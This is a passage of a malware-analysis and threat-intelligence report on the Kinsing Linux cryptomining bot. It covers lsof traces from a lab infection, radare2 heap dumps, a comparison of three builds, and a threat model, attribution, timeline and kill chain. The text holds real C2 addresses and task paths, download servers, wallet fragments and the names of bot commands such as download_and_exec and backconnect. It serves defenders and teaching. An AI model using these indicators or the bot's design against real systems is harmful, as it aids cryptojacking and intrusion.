/usr/bin/lib/python2.7/lib-dynload"
 :
execve("/usr/local/bin/dpkg-query"
execve("/usr/bin/dpkg-query",
open("/var/lib/dpkg/arch
open("/var/lib/dpkg/status"
/etc/oracle-release
/etc/enterprise-release",
/etc/slackware-version",
/etc/debian_version
"/usr/bin/raspi-config
/etc/debian_version
/var/lib/dpkg/updates/"
/var/lib/dpkg/triggers/File"



// analysis and report by @unixfreaxjp on a secure environment.

[0x0087d245]> date
Sat Aug  1 15:37:48 2020
[ITW] Artifact spotted in the wild attack

■ 13. Debug view: lsof during the run

///////////////////// debug///////////////////////////////////////////


xxxx    2869 xxxx  cwd    DIR                8,1     4096  397369 /home/xxxx/test
xxxx    2869 xxxx  rtd    DIR                8,1     4096       2 /
xxxx    2869 xxxx  txt    REG                8,1 16695296  397381 /home/xxxx/test/xxxx
xxxx    2869 xxxx    0u   CHR              136,0      0t0       3 /dev/pts/0
xxxx    2869 xxxx    1u   CHR              136,0      0t0       3 /dev/pts/0
xxxx    2869 xxxx    2u   CHR              136,0      0t0       3 /dev/pts/0
xxxx    2869 xxxx    4u  0000                0,9        0    1203 anon_inode
=======

xxxx    2874 xxxx  cwd    DIR                8,1     4096  397369 /home/xxxx/test
xxxx    2874 xxxx  rtd    DIR                8,1     4096       2 /
xxxx    2874 xxxx  txt    REG                8,1 16695296  397381 /home/xxxx/test/xxxx
xxxx    2874 xxxx    0r   CHR                1,3      0t0    1205 /dev/null
xxxx    2874 xxxx    1w   CHR                1,3      0t0    1205 /dev/null
xxxx    2874 xxxx    2w   CHR                1,3      0t0    1205 /dev/null
xxxx    2874 xxxx    3uW  REG               0,15        0    6754 /run/lock/linux.lock
xxxx    2874 xxxx    4u  0000                0,9        0    1203 anon_inode
xxxx    2874 xxxx    5r   CHR                1,9      0t0    1210 /dev/urandom
=======

xxxx    2874 xxxx  cwd    DIR        8,1     4096  397369 /home/xxxx/test
xxxx    2874 xxxx  rtd    DIR        8,1     4096       2 /
xxxx    2874 xxxx  txt    REG        8,1 16695296  397381 /home/xxxx/test/xxxx
xxxx    2874 xxxx    0r   CHR        1,3      0t0    1205 /dev/null
xxxx    2874 xxxx    1w   CHR        1,3      0t0    1205 /dev/null
xxxx    2874 xxxx    2w   CHR        1,3      0t0    1205 /dev/null
xxxx    2874 xxxx    3uW  REG       0,15        0    6754 /run/lock/linux.lock
xxxx    2874 xxxx    4u  0000        0,9        0    1203 anon_inode
xxxx    2874 xxxx    5r   CHR        1,9      0t0    1210 /dev/urandom
xxxx    2874 xxxx    6u  IPv4       6787      0t0     TCP x.x.x.x:56260->213[.]32.10[.]148:80 (ESTABLISHED)
xxxx    2874 xxxx    7r   REG        8,1   786432 1310783 /tmp/{samplename:i.e. bigip}daemon
=======

xxxx      2874 xxxx  cwd    DIR        8,1     4096  397369 /home/xxxx/test
xxxx      2874 xxxx  rtd    DIR        8,1     4096       2 /
xxxx      2874 xxxx  txt    REG        8,1 16695296  397381 /home/xxxx/test/xxxx
xxxx      2874 xxxx    0r   CHR        1,3      0t0    1205 /dev/null
xxxx      2874 xxxx    1w   CHR        1,3      0t0    1205 /dev/null
xxxx      2874 xxxx    2w   CHR        1,3      0t0    1205 /dev/null
xxxx      2874 xxxx    3uW  REG       0,15        0    6754 /run/lock/linux.lock
xxxx      2874 xxxx    4u  0000        0,9        0    1203 anon_inode
xxxx      2874 xxxx    5r   CHR        1,9      0t0    1210 /dev/urandom
xxxx      2874 xxxx    6u  IPv4       6787      0t0     TCP x.x.x.x:56260->213[.]32.10[.]148:80 (ESTABLISHED)
xxxx      2874 xxxx    7r   REG        8,1        4 1310784 /tmp/.ICEd-unix/922209688 (deleted)
{samplename:i.e. bigip}daem 2887 xxxx  cwd    DIR        8,1     4096       2 /
{samplename:i.e. bigip}daem 2887 xxxx  rtd    DIR        8,1     4096       2 /
{samplename:i.e. bigip}daem 2887 xxxx  txt    REG        8,1  3930496 1310783 /tmp/{samplename:i.e. bigip}daemon
{samplename:i.e. bigip}daem 2887 xxxx    0r   CHR        1,3      0t0    1205 /dev/null
{samplename:i.e. bigip}daem 2887 xxxx    1u   REG        8,1        4 1310784 /tmp/.ICEd-unix/922209688 (deleted)
{samplename:i.e. bigip}daem 2887 xxxx    2w   CHR        1,3      0t0    1205 /dev/null
{samplename:i.e. bigip}daem 2887 xxxx    3r   DIR        8,1     4096       2 /
{samplename:i.e. bigip}daem 2887 xxxx    4r  FIFO        0,8      0t0    6811 pipe
{samplename:i.e. bigip}daem 2887 xxxx    5w  FIFO        0,8      0t0    6811 pipe
{samplename:i.e. bigip}daem 2887 xxxx    6u  0000        0,9        0    1203 anon_inode
{samplename:i.e. bigip}daem 2887 xxxx    7r  FIFO        0,8      0t0    6812 pipe
{samplename:i.e. bigip}daem 2887 xxxx    8w  FIFO        0,8      0t0    6812 pipe
{samplename:i.e. bigip}daem 2887 xxxx    9u  0000        0,9        0    1203 anon_inode
{samplename:i.e. bigip}daem 2887 xxxx   10r   CHR        1,3      0t0    1205 /dev/null
{samplename:i.e. bigip}daem 2887 xxxx   11u  IPv4       6813      0t0     TCP x.x.x.x:38700->5[.]23.52[.]131:80 (ESTABLISHED)
=======
(I was killing the miner and detached the sample)

xxxx    2874 xxxx  cwd    DIR         8,1     4096  397369 /home/xxxx/test
xxxx    2874 xxxx  rtd    DIR         8,1     4096       2 /
xxxx    2874 xxxx  txt    REG         8,1 16695296  397381 /home/xxxx/test/xxxx
xxxx    2874 xxxx    0r   CHR         1,3      0t0    1205 /dev/null
xxxx    2874 xxxx    1w   CHR         1,3      0t0    1205 /dev/null
xxxx    2874 xxxx    2w   CHR         1,3      0t0    1205 /dev/null
xxxx    2874 xxxx    3uW  REG        0,15        0    6754 /run/lock/linux.lock
xxxx    2874 xxxx    4u  0000         0,9        0    1203 anon_inode
xxxx    2874 xxxx    5r   CHR         1,9      0t0    1210 /dev/urandom
xxxx    2874 xxxx    6u  IPv4        6852      0t0     TCP x.x.x.x:56262->213[.]32.10[.]148:80 (ESTABLISHED)
xxxx    2874 xxxx    7r   REG         8,1        4 1310784 /tmp/.ICEd-unix/977396759 (deleted)
=======
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • The miner process holds the deleted 9-digit temp file as its stdout (1u ... (deleted)) and the bot holds the C2 socket: two processes, two roles, one infection.

■ 14. radare2 memory forensics on the live bot

r2 - live memory acquisition of the v31 bot (recorded, lab values camouflaged)
Recorded radare2 session: the memory maps of the running bot (dm) and dumps of each region with wt. In current radare2 the write-to-file command is wtf.
[ITW] Artifact spotted in the wild attack
[0x0045bf73]> dm
0x0000000000400000 # 0x00000000007a5000 * usr   3.6M s r-x /home/test /home/test ; map.home_xxxx_test_xxxx.r_x
0x00000000007a5000 # 0x0000000001399000 - usr  12.0M s r-- /home/test /home/test ; map.home_xxxx_test_xxxx.r
0x0000000001399000 # 0x00000000013ec000 - usr   332K s rw- /home/test /home/test ; map.home_xxxx_test_xxxx.rw
0x00000000013ec000 # 0x000000000140f000 - usr   140K s rw- unk0 unk0 ; map.unk0.rw
0x000000c000000000 # 0x000000c004000000 - usr    64M s rw- unk1 unk1 ; map.unk1.rw <===== config
0x00007f8095bd8000 # 0x00007f8098009000 - usr  36.2M s rw- unk2 unk2 ; map.unk2.rw
0x00007ffda7690000 # 0x00007ffda76b1000 - usr   132K s rw- [stack] [stack] ; map.stack_.rw
0x00007ffda77d3000 # 0x00007ffda77d4000 - usr     4K s r-x [vdso] [vdso] ; map.vdso_.r_x
0xffffffffff600000 # 0xffffffffff601000 - usr     4K s r-x [vsyscall] [vsyscall] ; map.vsyscall_.r_x


///////// seeking my/bot

hits: 33
0xc0000ba116 hit10_0 .l","math/rand","my/bot/single","net",".
0xc0000ba995 hit10_1 .otedprintable","my/bot/single","net",".
0xc0000bae70 hit10_2 .odule":{"Path":"my/bot","Main":true,"D.
0xc0000c000b hit10_3 .{"infos":{"my/bot":{"Dir":"/app",.
0xc0000c002f hit10_4 .","ImportPath":"my/bot","Name":"main",.
0xc0000c0480 hit10_5 .l","math/rand","my/bot/single","net",".
0xc0000c200b hit10_6 .{"infos":{"my/bot":{"Dir":"/app",.
0xc0000c202f hit10_7 .","ImportPath":"my/bot","Name":"main",.
0xc0000c2480 hit10_8 .l","math/rand","my/bot/single","net",".
0xc0000c2cff hit10_9 .otedprintable","my/bot/single","net",".
0xc0000c31da hit10_10 .odule":{"Path":"my/bot","Main":true,"D.
0xc0000c3231 hit10_11 .3"}}},"files":{"my/bot:/public/x":{"in.
0xc0000c34c5 hit10_12 .odule":{"Path":"my/bot","Main":true,"D.
0xc0000c3520 hit10_13 .,"path":{"Pkg":"my/bot","Name":"/publi.
0xc0000c400b hit10_14 .{"infos":{"my/bot":{"Dir":"/app",.
0xc0000c402f hit10_15 .","ImportPath":"my/bot","Name":"main",.
0xc0000c4480 hit10_16 .l","math/rand","my/bot/single","net",".
0xc0000c4cff hit10_17 .otedprintable","my/bot/single","net",".
0xc0000c51da hit10_18 .odule":{"Path":"my/bot","Main":true,"D.
0xc0000c5231 hit10_19 .3"}}},"files":{"my/bot:/public/x":{"in.
0xc0000c54c5 hit10_20 .odule":{"Path":"my/bot","Main":true,"D.
0xc0000c5520 hit10_21 .,"path":{"Pkg":"my/bot","Name":"/publi.
0xc0001f0e30 hit10_22 .[Exeunt Players]my/botmain[Exit .
0xc0001f0e50 hit10_23 .[Exit POLONIUS]my/bot/appROSENC.
0xc0001f0e90 hit10_24 .GUILDENSTERN |my/bot3930496509[Enter.
0xc0001f11b0 hit10_25 .To heaven.my/bot/app/app/g.
0xc0001f11d0 hit10_26 ./app/go.mod1.13my/bot/public/x[Enter.
0xc0001f11f0 hit10_27 .[Enter HAMLET]my/bot:/public/xHelp, .
0xc0001f14d0 hit10_28 ./app/publicmy/bot/app/app/g.
0xc0001f1500 hit10_29 .I pray you.my/bot/public/x2[Exit .
0xc0001f1524 hit10_30 .t HORATIO]/appmy/botmain[A noise w.
0xc0001f1540 hit10_31 .[A noise within]my/bot/app[Noise.
0xc000284480 hit10_32 .ir, really.my/bot:/public/x2.
[ITW] Artifact spotted in the wild attack

The heap region 0xc000000000-0xc004000000 (64M, marked "config") holds the bot's runtime data. Searching it shows the configuration, the C2 and pieces of the embedded Hamlet text interleaved with live data:

0xc0001f0000  hxxp :// ...................... ..T...E...X...T...X...M...L.......+...X...M...L...................VOLTIMAND |.....213[.]32.10[.]148:80........
0xc0001f0088  ..... ..CORNELIUS |.....s.......12......HTTP/1.1 200 OK.GUILDENSTERN |..nginx/1.14.2....keep-alive......MARCELLUS |.....G...............
0xc0001f0110  |  officers.............Pid.....BERNARDO |......"Pid":"Pid":....(First Player:).2887............(Player King:)..G......./bin/sh.(Player
0xc0001f0198  Queen:)./usr/bin/sh.....(First Clown:)../usr/bin/sh.....(Second Clown:)./bin/sh.........A Captain......./dev/null.......(First Sailor:).
0xc0001f0220  /bin/sh.........(Messenger:)..../tmp/{samplename:i.e. bigip}daemonSCENE Denmark.../usr/bin/sh...../usr/bin/sh.....BERNARDO He...../bin/sh./bin/sh.........
0xc0001f02a8  infos...BERNARDO Say,..."infos":"infos":[Enter Ghost]...................[Exit Ghost]....files..."files":'Tis strange...."files":........
0xc0001f0330  [Re-enter Ghost]........here....Speak to me:...."here":"here":..Speak to me:..../dev/null.......[Cock crows]............/bin/sh.[Exit Gh
0xc0001f03b8  ost]..../tmp/.ICEd-unix./tmp/.ICEd-unix.and Attendants].1977396759......CORNELIUS |.....................VOLTIMAND |.....info...."info":.
0xc0001f0440  HAMLET Saw? who?"info":.........MARCELLUS |.............her.....BERNARDO |............../bin/sh.MARCELLUS |....."her":"her":....BERNARDO
0xc0001f04c8   |......................MARCELLUS |.....path...."path":.BERNARDO |......"path":.........MARCELLUS |.............data....BERNARDO |......
0xc0001f0550  "data":"data":..I'll visit you..................parent.........."parent":.......[Enter POLONIUS]"parent":......./usr/bin/sh...../usr/bin
0xc0001f05d8  /sh.....[Enter Ghost]...................To you alone....details........."details":......Ghost Mark me..."details":......HAMLET What?....
0xc0001f0660  /bin/sh.........HAMLET O God!...................HAMLET Murder!..name...."name":."name":.................size....I have sworn 't."size":"
0xc0001f06e8  size":..MARCELLUS |.....................mode...."mode":.HAMLET So be it!"mode":.................mod_timeMARCELLUS |....."mod_time":.....
0xc0001f0770  To tell us this."mod_time":.....................MARCELLUS |.....is_dir..........My lord, not I.."is_dir":.......truepenny?......"is_dir"
0xc0001f07f8  :.......[They swear]............sys.....So, gentlemen,.."sys":"sys":..../dev/null.......Of his behavior./dev/null.......and 'gentleman.'
0xc0001f0880  ......../bin/sh.See you now;............2902....[Exit REYNALDO].V.......V.......[Enter OPHELIA].Wzq]...t........hxxp :// .....12..........
0xc0001f0908  ..... ..To be commanded.................Attendants].....213[.]32.10[.]148:80[Enter POLONIUS]HTTP/1.1 200 OK.[Exit POLONIUS].................
0xc0001f0990  [Giving a paper]Pkg....."Pkg":..But let that go."Pkg":..................Name...."Name":"Name":..Attendants].....nginx/1.14.2....[Exit PO
0xc0001f0a18  LONIUS].keep-alive......her favours?....keep-alive......it is a prison..hxxp :// .....10..have bad dreams.........Dir.....ROSENCRANTZ |...
0xc0001f0aa0  "Dir":"Dir":....GUILDENSTERN |..................late innovation.ImportPath......[Enter POLONIUS]"ImportPath":...'twas so indeed."ImportP
0xc0001f0b28  ath":...HAMLET Buz, buz!................HAMLET Why,.....Name...."Name":.HAMLET Why,....."Name":.........So, proceed you.........Module..
0xc0001f0bb0  good discretion."Module":.......Did nothing....."Module":.......pronounced:.................. ..Take them in....................213.32.1
0xc0001f0c38  0.148:80Now I am alone..................For Hecuba!.....Path...."Path":.O, vengeance!..."Path":.........A scullion!.............Main....
0xc0001f0cc0  "Main":"Main":..................To any pastime?.Dir....."Dir":..Affront Ophelia:"Dir":..........[To OPHELIA]............GoMod...O heavy
0xc0001f0d48  burthen!"GoMod":"GoMod":[Enter HAMLET]..................There, my lord..GoVersion.......OPHELIA My lord?"GoVersion":....with honesty?...
0xc0001f0dd0  "GoVersion":....nunnery, go.....nginx/1.14.2....keep-alive............../app....[Exeunt Players]my/bot..main....[Exit POLONIUS].my/bot..
0xc0001f0e58  /app....ROSENCRANTZ |.../app/go.mod.1.13GUILDENSTERN |..my/bot3930496509[Enter HORATIO].Dev.2066.....$.@Get you a place.Ino1582262......
0xc0001f0ee0  are not mine.........$8ANlink...[To POLONIUS]..........?Mode....HAMLET Nothing..33277........?.@HAMLET Who, I?..Uid.1000.....@.@Gid.1000
0xc0001f0f68  .....@.@[Enter Prologue]X__pad0.RdevSize3930496.......MAi' the world....Blksize.4096....[Enter LUCIANUS].......@Blocks..more choler.....
0xc0001f0ff0  7680...........@go to bed.......AtimSec...@....Aunmannerly......nosniff.........this pipe?......Nsec224440316...[Enter POLONIUS]...._..A
0xc0001f1078  MtimSec.presently.......1594300140......[Exit POLONIUS]........ANsec....416438247...........W..ACtimSec.ROSENCRANTZ |...1594300140......
0xc0001f1100  GUILDENSTERN |.........ANsec....[Enter POLONIUS]416438247.......[Exit POLONIUS].....W..Apublic..All may be well.X__unused.......[Enter H
0xc0001f1188  AMLET]../app/public.....To heaven.......my/bot../app..../app/go.mod.1.13my/bot/public/x.[Enter HAMLET]..my/bot:/public/xHelp, help, ho!.
0xc0001f1210  x23897728509Dev.[Falls and dies]2066.........$.@Is it the king?.Ino1574400......[Enter Ghost].........8ANlink...[Exit Ghost]...........?
0xc0001f1298  Mode....HAMLET Ecstasy!.33277........?.@Uid.1000.....@.@Gid.1000.....@.@X__pad0.RdevSize[Enter HAMLET]..3897728.......MAROSENCRANTZ: |..
0xc0001f1320  Blksize.4096....GUILDENSTERN: |........@Blocks..foolish ear.....7616...........@AtimSec...@....AOr not at all...1594300141......that's t
0xc0001f13a8  he end..Nsec256440398...For England............AMtimSec.HAMLET Good.....1594300140.............ANsec....436438297..............ACtimSec.
0xc0001f1430  1594300140......yield them,............ANsec....[Exit HORATIO]..436438297.......OPHELIA [Sings]........Apublic..X__unused.......OPHELIA
0xc0001f14b8  [Sings]./app/public.....my/bot../app..../app/go.mod.1.13I pray you......my/bot/public/x2[Exit HORATIO]../appmy/bot..main[A noise within]
0xc0001f1540  my/bot../app....[Noise within]../app/go.mod.1.13Speak, man......................OPHELIA [Sings].................OPHELIA [Sings].linux...
0xc0001f15c8  ........OPHELIA [Sings].xxxxxxxx-xxxx-xxlinux.lock......................[Exit Servant]..linux_Backend...[Enter Sailors].LINUX_BACKEND...
0xc0001f1650  thee. Farewell..linux_Debug.....LINUX_DEBUG............./tmp....Pursued my life.linux_DisableMi.[Exit Messenger]LINUX_DISABLEMI.It may b
0xc0001f16d8  e death.OIPvWdAj........To muddy death..VvsrfcMG......../tmp/.ICEd-unix./tmp/.ICEd-unix.own defence?..../var/tmp........a carpenter?'...
0xc0001f1760  /tmp/.ICEd-unix.stoup of liquor./tmp/.ICEd-unix/might it not?...Y..`..Nme.j..A.l&...............grave-maker?..../dev/urandom....HAMLET W
0xc0001f17e8  hy?...../tmp/.ICEd-unix/HAMLET This?..../tmp/.ICEd-unix.me one thing..../tmp/.ICEd-unix/the earth?..............Uuid....HORATIO E'en so.
0xc0001f1870  /tmp/.ICEd-unix/Of blue Olympus./proc/meminfo...Hamlet the Dane./proc/meminfo...All Gentlemen,--508796508796....340180340180....[Exit HO
0xc0001f18f8  RATIO]..107241072485016.[To LAERTES]....850160102704....1027044316043160In further evil?5016050160140140[Enter OSRIC]...525445254443020.
0xc0001f1980  northerly.......43020001045500..complexion......10455001045500..OSRIC Sir?......10455006126120..know himself....501605016017496.[Exit OS
0xc0001f1a08  RIC]....1749617617611484[Enter a Lord]..11484...51045104[Exit Lord].....63806380528528..19041904000.....[They play].....12998961299896..
0xc0001f1a90  HAMLET One......153236153236....LAERTES No......34359738367.1808HAMLET Judgment.34359738367.....[They play].....180834359736443.[They pl
0xc0001f1b18  ay].....3435973644300...Nor thine on me.2048204840832...40832.483328....[March within]..483328/dev/null.and others]...../etc/lsb-release
0xc0001f1ba0  Truly deliver...invalid msg typesession shutdownstream closed...unexpected flag.connection reset................0...9...a...z...0...9...
0xc0001f1c28  a...z...0...9...a...z...0...9...a...z...0...9...a...z...7.11.7.11.496...VersionCoresMem.OsnameOsversion.Os..ArchRoot....................
0xc0001f1cb0  0...9...a...z...................0...9...........0...9...a...z...................0...9...........0...9...a...z.......%s..%.1s%s..k.......
0xc0001f1d38  ....O.0.k...........O.0.k...........O.0.k...........O.0..................[35m... .......21:00:57.000....21:00:57.000......r..... ... ...
0xc0001f1dc0   ........[0m.... .......hello go..>.....................................................................................................
0xc0001f1e48  ........................................................................................................................................
[ITW] Artifact spotted in the wild attack
// stracte


TCP x.x.x.x:56260->213[.]32.10[.]148:80 (ESTABLISHED)
TCP x.x.x.x:56260->213[.]32.10[.]148:80 (ESTABLISHED)
TCP x.x.x.x:56260->213[.]32.10[.]148:80 (ESTABLISHED)
TCP x.x.x.x:56260->213[.]32.10[.]148:80 (ESTABLISHED)
TCP x.x.x.x:56260->213[.]32.10[.]148:80 (ESTABLISHED)
TCP x.x.x.x:56262->213[.]32.10[.]148:80 (ESTABLISHED)
TCP x.x.x.x:56262->213[.]32.10[.]148:80 (ESTABLISHED)

//////// C2 IP & port

hits: 16
0xc00001e0c7 hit1_0 .hxxp :// 213[.]32.10[.]14872563572714a74a2.
0xc00001e277 hit1_1 .hxxp :// 213[.]32.10[.]14872563572714a74a2.
0xc00001e2a7 hit1_2 .5hxxp :// 213[.]32.10[.]14872563572714a74a2.
  0xc000067019 hit1_3 .HTTP/1.1Host: 213[.]32.10[.]148User-Agent: Mo.
0xc0001f0070 hit1_4 .VOLTIMAND |213[.]32.10[.]148:80.
0xc0001f0940 hit1_5 .Attendants]213[.]32.10[.]148:80[Enter POLONI.
0xc0001f0c30 hit1_6 .213[.]32.10[.]148:80Now I am alon.
0xc000284047 hit1_7 .,hxxp :// 213[.]32.10[.]148;JlMy h.
0xc000284087 hit1_8 .k off.hxxp :// 213[.]32.10[.]148/mg:LHORA.
0xc0002840c7 hit1_9 .hxxp :// 213[.]32.10[.]148/mgHORA.
0xc000284947 hit1_10 .e.hxxp :// 213[.]32.10[.]148/ms6 kBStic.
0xc000284987 hit1_11 .hxxp :// 213[.]32.10[.]148/msLAER.
0xc0002849c7 hit1_12 .r.hxxp :// 213[.]32.10[.]148/msHAML.
0xc000284a87 hit1_13 .rdhxxp :// 213[.]32.10[.]1482704 kB[The.
0xc000284ac7 hit1_14 .hxxp :// 213[.]32.10[.]148/get kBOSRI.
0xc000284b07 hit1_15 .hxxp :// 213[.]32.10[.]148/getHAML.

hits: 2
0xc000284094 hit6_0 .://213[.]32.10[.]148/mg:LHORATIO.
0xc0002840d4 hit6_1 .://213[.]32.10[.]148/mgHORATIO.
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • Dump the Go heap (0xc000000000) first: decrypted C2 addresses, the task protocol paths and the config live there in clear text.
  • Decoy text (Hamlet) mixed into the heap does not hide the data; it only adds noise. Search for structure (/mg, "Pid", Uuid) instead of reading.

《 19. Kinsing builds compared: v28, a71ad3 and v31 》

Three builds of the same bot are covered in this post. Their hashes and sizes:

MD5Size (file range)Build / versionWhere in this post
6bffa50350be7234071814181277ae7917,072,128 (0x00000000-0x01047fff)v28 (Dec 2019 – Feb 2020)binary information
a71ad3167f9402d8c5388910862b16ae
SHA-256 d247687e9bdb8c4189ac54d10efd29aee12ca2af78b94a693113f382619a175b
16,687,104 (0x00000000-0x00fe9fff)build of 2020-01-28, installed by spr.shstatic analysis
fa3cf35e7e83175f395a5b6d35fd456d16,695,296 (0x00000000-0x00febfff)v31 "Dev 2066" (built 2020-07-09)v31 chapter
Itemv28a71ad3 (Jan 2020)v31 "Dev 2066" (Jul 2020)
Go toolchainGo 1.13go1.13.6Go 1.13
Build path/home/nook/go/src/my/bot/app → /go/bin/bot (container build)/app, author name removed
Lock / single instancelock filelock file + my/bot/single packagelock file
C2 storage5 C2s, one plain string5 C2s, one plain string (4th slot changed)single C2, hex data + rotator, decrypted at runtime
Call-in path/h (reply "c.")/getT found as a string (other paths not checked)/mg; miner report /ms
Commands11not fully checked (download_and_exec, backconnect, masscan, socks handlers present)12 (+ krongo)
Embedded payloadsspreader script, scanner script, minerscanner script (plain text), 2 miners (x, x2); no embedded spreader script foundscanner script, miner
Miner drop/tmp/kdevtmpfsikills kdevtmpfsi by name/tmp/<sample>daemon, PID via 9-digit temp file
Miner wallet / pool42J8..., stratum on :8046V5..., nanopooldifferent algorithm and login (notes); pool on tcp/80
RSA C2 keykey Kkey K (label "RSA TESTING KEY")key K (identical)
Anti-analysis–Hamlet text paddingHamlet padding, long sleep, VM/debugger checks, silent without C2 reply
Version header28not checked31

/mg was listed as UNKNOWN in the v28 notes; v31 shows it is the initial call-in. /hers remains unknown.

[EDU] What to learn here
  • A builds table is the best way to teach malware evolution: what changed (C2 storage, call-in path, anti-analysis) and what stayed (headers, RSA key, work directory) tells defenders which detections will keep working.
Part II — CTI analysis

《 20. CTI: Threat model 》

Part II turns the malware analysis above into threat intelligence: who is attacking, what they want, how the attack flows from start to finish, which weaknesses they abuse and what defenders should do with the indicators. Every point is tied back to evidence in Part I.

First, the threat model. It answers what is at risk, from whom, through which doors, and with what impact.

ElementAssessment for this case
Assets at riskInternet-facing Linux servers and cloud VMs (x86-64), especially hosts running Redis; every server reachable with the SSH keys stored on an infected host; Docker hosts (the bot kills and removes containers and images).
AdversaryA financially motivated cryptojacking crew (recorded in this analysis as SystemTen; bot coder "nook"). Automated, botnet-scale operation.
MotivationMonetization through Monero mining (wallet and pools); secondary: keeping a foothold (on-demand backdoor, SOCKS) that can be reused or sold.
CapabilityMedium. Uses public tools (XMRig, a public mass-scanner, open-source Go libraries), but integrates them well: encrypted tasking, self-update, worm-like spreading and anti-competitor logic.
Entry pointsWeak or no Redis AUTH (redisBrute); trusted SSH keys from already infected hosts (spreader); scripts hosted on paste and code sites (Pastebin, a public code-hosting site). For the family in general, see targeted vulnerabilities.
ImpactCPU/power theft and cloud cost; security controls destroyed (syslog, firewall, SELinux/AppArmor, cloud agents); persistent remote access; host data can be sent to the C2; lateral spread to every trusted server.
LikelihoodHigh for exposed and unhardened Linux fleets. The family kept running new campaigns for years after this case (Tenable 2024, F6 2025).
[EDU] What to learn here
  • A threat model keeps intelligence focused on defense decisions: once you know the assets, entry points and impact, you know what to patch, harden and monitor first.
  • Separate what this case proves (Part I evidence) from what is known about the family in general (public reporting). Both are useful, but they carry different confidence.

《 21. CTI: Actors and attribution 》

Attribution in CTI is about clustering activity with stated confidence, not about naming people. Below is what this analysis recorded, compared with how the industry names the same activity.

ItemValueEvidenceConfidence
Malware familyLinux/Kinsing (Go ELF bot) + XMRig 5.5.0 minerbinary, embedded minerHigh
Coder handle"nook"build path /home/nook/go/src/my/bot in the pkger indexHigh
Operator (as recorded)SystemTenoriginal analysis notes (threat information)Medium
Origin (as recorded)PRC/Chinaoriginal analysis notes; supported by targeting Alibaba Cloud and Tencent Cloud agents (al.sh)Medium
Industry namesKinsing / H2Miner; Money Libra (Palo Alto Networks); Resourceful Wolf (F6)The Hacker News, SecurityWeek, F6High
Clustering pivotswallet 42J8CF9s..., pkger build path, C2 URL scheme (/h /get /o /s), header set, kdevtmpfsi namePart IHigh

Public reporting confirms that the same malware/actor name (Kinsing, aka H2Miner) was first documented in January 2020 and kept adding new exploits for years (The Hacker News). Researchers have also linked separate campaigns together through a shared Monero wallet (Red Canary), the same kind of pivot shown in this post.

[EDU] What to learn here
  • Always attach a confidence level and the evidence to each attribution claim. "nook" is high confidence because it is in the binary; an origin claim based on targeting is medium.
  • Map your own names to the industry names (Kinsing = H2Miner = Money Libra = Resourceful Wolf). That lets your SOC reuse other vendors' reports and detections.

■ Analyst note on the "SystemTen" attribution

The v28 spr.sh kills processes named systemten and deletes cron entries for lsd.systemten.org. If SystemTen is the operator, this is odd. Two readings fit the evidence: (a) clean-up of an older generation of the same operator, or (b) removal of a rival that used that name. This post keeps the SystemTen attribution at Medium confidence until more evidence is available.

■ Diamond model

kinsing — Diamond model
                       [ ADVERSARY ]
        coder "nook" (v28 build path), operator SystemTen (Medium)
        wallets 42J8... / 46V5... ; same RSA key across builds
                    /                     \
   [ CAPABILITY ] ---------------------- [ INFRASTRUCTURE ]
   Go bot: RCE, tasks,                       5-slot C2 list, single v31 C2,
   SOCKS, backdoor, scan,                    download servers, nanopool /
   Redis brute, SSH worm;                    stratum on tcp/80
   companions: XMRig, scripts
                    \                     /
                        [ VICTIM ]
        internet-facing Linux servers, Redis, Docker; Alibaba / Tencent cloud

■ Source reliability and information credibility (Admiralty code)

StatementSourceGrade
Bot capabilities, C2, scripts, keysown reversing + memory forensics of in-the-wild samplesA1
Coder handle "nook"build path inside the v28 binaryA2
Operator "SystemTen", origin PRCown notes, partly contradicted (see note above)B3
Shared wallet across Docker/Redis/SaltStack wavespublic research (Zscaler)B2
Industry names (H2Miner, Money Libra, Resourceful Wolf)vendor reportingB2
[EDU] What to learn here
  • The Diamond model forces you to fill all four corners. An empty corner (here: individual victims) shows where your intelligence is thin.
  • Admiralty grades (A–F reliability, 1–6 credibility) let readers weigh each claim. Use them in reports for CSIRT and FIRST audiences.

《 22. CTI: Timeline and related public research 》

This chapter puts this analysis next to the public research on the same family. It helps readers see what was known when, and where to read more. Yellow entries are this analysis; blue are 2020–2021 reports; purple 2023; red 2024–2025.

2019-12
This analysis: first detection of the threat, kinsing bot by "nook" reversed (threat information)
2020-01
Kinsing first documented by TrustedSec; Alibaba Cloud ties H2Miner/Kinsing to Redis exploitation (THN, Zscaler)
2020-02
This analysis: memory forensics and strace of the live infection (C2 traffic, scripts, miner)
2020-04
Aqua reports the Docker API campaign with the same C2 / download IPs as this post (Trend Micro summary, CERT-EU memo)
2020-05
SaltStack CVE-2020-11651/11652 exploitation linked to Kinsing (Intezer)
2020-07
Citrix and SaltStack campaigns connected via a shared wallet (Red Canary)
2020-11
User-mode rootkit (library preloading) added (Trend Micro)
2021-03
Kinsing and NSPPS shown to be one family (CyberArk)
2023-01
Kubernetes via misconfigured PostgreSQL and vulnerable images (Microsoft)
2023-08
Openfire CVE-2023-32315 (Aqua)
2023-11
Looney Tunables CVE-2023-4911 probing; ActiveMQ CVE-2023-46604 (Aqua, Trend Micro)
2024-05
Aqua "Kinsing Exposed" report; Tomcat targeting (Aqua, Tenable)
2025-Q2
Campaign against companies in Russia (F6)

■ What this post adds to the public reports

  • Decrypted C2 tasking: the RSA key recovered from memory and the decrypted tasks (captured traffic, download_and_exec). Most public reports only say the traffic is "encrypted".
  • The on-demand backdoor configuration (password and port per session) recovered and explained (backdoor).
  • Triple-confirmed evidence: the same scripts seen in radare2, in strace and in process memory.
  • Code-level detail: the full main.* function list with addresses, the command-to-function map, the Redis AUTH logic and the pkger-embedded miner with its build path.
[EDU] What to learn here
  • Always place your own findings on a timeline next to public reporting. It shows readers what is new and avoids re-reporting old facts as new.
  • Matching infrastructure (here the same C2 and download IPs in an April 2020 public report) is a strong pivot to confirm you are looking at the same campaign.

《 23. CTI: Kill chain of the attack scheme 》

The Lockheed Martin Cyber Kill Chain gives a step-by-step view of the whole attack scheme. The important lesson in this case is the loop: phase 7 (spreading) feeds phases 1–4 on new victims, so one infection becomes many.

kinsing — kill chain of the attack scheme (with worm loop)
 [1] RECONNAISSANCE         masscan wrapper scans ports given by C2; Redis targets listed
 [2] WEAPONIZATION          Go bot + pkger-embedded XMRig + base64/zlib scripts
 [3] DELIVERY               Pastebin script / spr.sh / bitbucket raw / 217[.]12.221[.]244
 [4] EXPLOITATION           weak Redis AUTH brute; reuse of trusted SSH keys
